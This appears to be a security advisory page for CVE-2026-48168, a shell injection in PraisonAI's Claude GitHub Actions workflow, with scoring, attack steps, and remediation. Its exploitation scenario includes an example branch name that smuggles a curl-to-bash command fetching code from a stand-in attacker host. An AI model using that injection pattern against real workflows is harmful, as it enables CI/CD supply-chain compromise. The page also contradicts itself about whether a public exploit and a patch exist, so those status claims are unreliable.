CVE-2026-48168: PraisonAI shell injection

CISO Take

PraisonAI's bundled Claude GitHub Actions workflow embeds an attacker-controlled pull request branch name directly into an unquoted Bash command, and the workflow triggers for any "@claude" comment without checking whether the commenter is a trusted collaborator. That combination lets an outside contributor open a fork PR with a shell-metacharacter branch name, comment "@claude", and get arbitrary shell execution inside a GitHub Actions runner that holds a GitHub App token with write permissions, OIDC access, and gh/git credentials — a textbook CI/CD supply-chain compromise rather than a model-level attack. There's no CISA KEV listing, no public exploit, and no Nuclei template yet, and EPSS sits at 0.9% (top 43rd percentile), so this looks unweaponized today, but the CVSS 10.0 score reflects that exploitation requires zero privileges, zero user interaction, and only network access to a public fork-and-comment workflow. Any org running PraisonAI's Claude Code Action integration on public or externally-contributed repos should treat this as an immediate patch: upgrade to 4.6.40, and in the interim audit `.github/workflows/*claude*` for unquoted branch-name interpolation and add explicit collaborator/association checks (`github.event.comment.author_association`) before any `@claude` trigger runs privileged steps. Detection-wise, review recent Actions run logs for fork-originated PRs with anomalous branch names (embedded `$()`, backticks, `;`, `|`) and any unexpected `$GITHUB_PATH` writes in Claude-triggered jobs.

Sources: NVD GitHub Advisory ATLAS EPSS CISA KEV

What is the risk?

CVSS 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) is justified: the trigger surface is a public fork PR plus a single comment, requiring no authentication and no privileged access, and the scope change (S:C) reflects that code execution in the Actions runner pivots into repository-write, OIDC, and git/gh privileges the attacker never had directly. Actual exploitation likelihood today is moderate-low — EPSS is under 1% (top 43rd percentile), it is not in CISA KEV, and no public PoC or Nuclei template exists — but the attack requires no novel research, only crafting a branch name with shell metacharacters, so sophistication is low once an attacker identifies a repo using this workflow pattern. The risk is concentrated in any organization that has adopted PraisonAI's bundled Claude GitHub Action for its own or downstream repos and accepts external/fork contributions, since the vulnerability lives in the CI configuration shipped with the package, not in a network-facing service that would need active scanning to find.

How does the attack unfold?

Malicious Branch Creation

Attacker forks the PraisonAI repository and opens a pull request from a branch whose name embeds shell metacharacters.

AML.T0010.001

Trigger Injection

Attacker comments "@claude" on the PR; the workflow runs without verifying commenter trust and interpolates the malicious branch name unquoted into a Bash run block, executing attacker code.

AML.T0050

Privilege Abuse

Injected commands run inside a CI job holding a GitHub App token with write access, OIDC, and gh/git credentials, and can hijack later privileged steps via $GITHUB_PATH.

AML.T0091.000

Impact

Attacker achieves repository writes, manipulates pull requests/issues, or abuses the OIDC token to pivot into connected systems.

AML.T0048

Malicious Branch Creation

Attacker forks the PraisonAI repository and opens a pull request from a branch whose name embeds shell metacharacters.

AML.T0010.001

Trigger Injection

Attacker comments "@claude" on the PR; the workflow runs without verifying commenter trust and interpolates the malicious branch name unquoted into a Bash run block, executing attacker code.

AML.T0050

Privilege Abuse

Injected commands run inside a CI job holding a GitHub App token with write access, OIDC, and gh/git credentials, and can hijack later privileged steps via $GITHUB_PATH.

AML.T0091.000

Impact

Attacker achieves repository writes, manipulates pull requests/issues, or abuses the OIDC token to pivot into connected systems.

AML.T0048

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
PraisonAI	pip	—	No patch

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1

10.0 / 10

EPSS

0.9%

chance of exploitation in 30 days

Higher than 58% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Changed

C High

I High

A High

What should I do?

1 step

Upgrade to PraisonAI >= 4.6.40 immediately, which fixes both the unquoted branch-name interpolation and the missing commenter-trust check. If upgrading isn't immediately possible, disable or gate the "@claude" GitHub Actions trigger, add an explicit check on github.event.comment.author_association (require OWNER/MEMBER/COLLABORATOR) before the job runs, and never interpolate github.head_ref or other attacker-controlled context directly into a run: Bash block — pass it through an env: variable instead so the shell treats it as data, not code. Rotate the GitHub App token and any OIDC trust relationships used by the workflow as a precaution if the repo has accepted external PR/comment activity since exposure. For detection, audit Actions run history for fork PRs with branch names containing $(), backticks, ;, |, or &&, and alert on any Claude-triggered job that writes to $GITHUB_PATH or invokes gh/git in unexpected ways.

How is it classified?

Code Execution Supply Chain Auth Bypass Agent Framework AML.T0010 - AI Supply Chain Compromise AML.T0010.001 - AI Software AML.T0050 - Command and Scripting Interpreter AML.T0091.000 - Application Access Token

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6 - AI system security

NIST AI RMF

MANAGE 4.1 - Third-party risks and vulnerabilities are regularly monitored

OWASP LLM Top 10

LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-48168?

PraisonAI's bundled Claude GitHub Actions workflow embeds an attacker-controlled pull request branch name directly into an unquoted Bash command, and the workflow triggers for any "@claude" comment without checking whether the commenter is a trusted collaborator. That combination lets an outside contributor open a fork PR with a shell-metacharacter branch name, comment "@claude", and get arbitrary shell execution inside a GitHub Actions runner that holds a GitHub App token with write permissions, OIDC access, and gh/git credentials — a textbook CI/CD supply-chain compromise rather than a model-level attack. There's no CISA KEV listing, no public exploit, and no Nuclei template yet, and EPSS sits at 0.9% (top 43rd percentile), so this looks unweaponized today, but the CVSS 10.0 score reflects that exploitation requires zero privileges, zero user interaction, and only network access to a public fork-and-comment workflow. Any org running PraisonAI's Claude Code Action integration on public or externally-contributed repos should treat this as an immediate patch: upgrade to 4.6.40, and in the interim audit `.github/workflows/*claude*` for unquoted branch-name interpolation and add explicit collaborator/association checks (`github.event.comment.author_association`) before any `@claude` trigger runs privileged steps. Detection-wise, review recent Actions run logs for fork-originated PRs with anomalous branch names (embedded `$()`, backticks, `;`, `|`) and any unexpected `$GITHUB_PATH` writes in Claude-triggered jobs.

Is CVE-2026-48168 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-48168, increasing the risk of exploitation.

How to fix CVE-2026-48168?

Upgrade to PraisonAI >= 4.6.40 immediately, which fixes both the unquoted branch-name interpolation and the missing commenter-trust check. If upgrading isn't immediately possible, disable or gate the "@claude" GitHub Actions trigger, add an explicit check on `github.event.comment.author_association` (require OWNER/MEMBER/COLLABORATOR) before the job runs, and never interpolate `github.head_ref` or other attacker-controlled context directly into a `run:` Bash block — pass it through an `env:` variable instead so the shell treats it as data, not code. Rotate the GitHub App token and any OIDC trust relationships used by the workflow as a precaution if the repo has accepted external PR/comment activity since exposure. For detection, audit Actions run history for fork PRs with branch names containing `$()`, backticks, `;`, `|`, or `&&`, and alert on any Claude-triggered job that writes to `$GITHUB_PATH` or invokes `gh`/`git` in unexpected ways.

What systems are affected by CVE-2026-48168?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, CI/CD pipelines for AI agent tooling.

What is the CVSS score for CVE-2026-48168?

CVE-2026-48168 has a CVSS v3.1 base score of 10.0 (CRITICAL). The EPSS exploitation probability is 0.91%.

What is the AI security impact?

Affected AI Architectures

agent frameworksCI/CD pipelines for AI agent tooling

MITRE ATLAS Techniques

AML.T0010 AI Supply Chain Compromise

AML.T0010.001 AI Software

AML.T0050 Command and Scripting Interpreter

AML.T0091.000 Application Access Token

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2.6

NIST AI RMF: MANAGE 4.1

OWASP LLM Top 10: LLM08

What are the technical details?

Original Advisory

PraisonAI is a multi-agent teams system. In versions prior to 4.6.40, the bundled Claude GitHub Actions workflow is vulnerable to command injection because it embeds an attacker-controlled pull request branch name into a Bash run: block without quoting or validation. Additionally, the workflow allows any @claude comment to trigger the job regardless of whether the commenter is a trusted collaborator. An outside contributor can open a pull request from a fork whose branch name contains shell metacharacters and comment @claude, causing Bash to execute arbitrary shell code in the GitHub Actions runner. Because these commands run in a job holding a GitHub App token with write permissions, OIDC access, and gh/git access, the injection can be chained through $GITHUB_PATH to compromise later privileged steps, enabling repository writes, pull request and issue manipulation, or OIDC-token abuse. This issue has been fixed in version 4.6.40.

Exploitation Scenario

An attacker forks the target repository, creates a branch named something like `main$(curl -s https://attacker.example/x.sh|bash)`, and opens a pull request from that branch — no special access is needed since anyone can fork and PR a public repo. They then post a comment containing "@claude" to trigger the bundled Claude Code Action, which does not verify the commenter is a trusted collaborator. The workflow interpolates the malicious branch name unquoted into a Bash `run:` step, causing the shell to execute the attacker's embedded command inside the Actions runner — a runner holding a GitHub App token with write permissions, OIDC access, and gh/git credentials. From there, the attacker chains the injection through `$GITHUB_PATH` to tamper with later privileged steps in the same job, ultimately pushing malicious commits, manipulating issues/PRs to cover tracks, or exchanging the OIDC token for access to connected cloud infrastructure.

Weaknesses (CWE)

CWE-862 Missing Authorization Primary CWE-862 Missing Authorization

CWE-862 — Missing Authorization: The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

[Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
[Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Source: MITRE CWE corpus.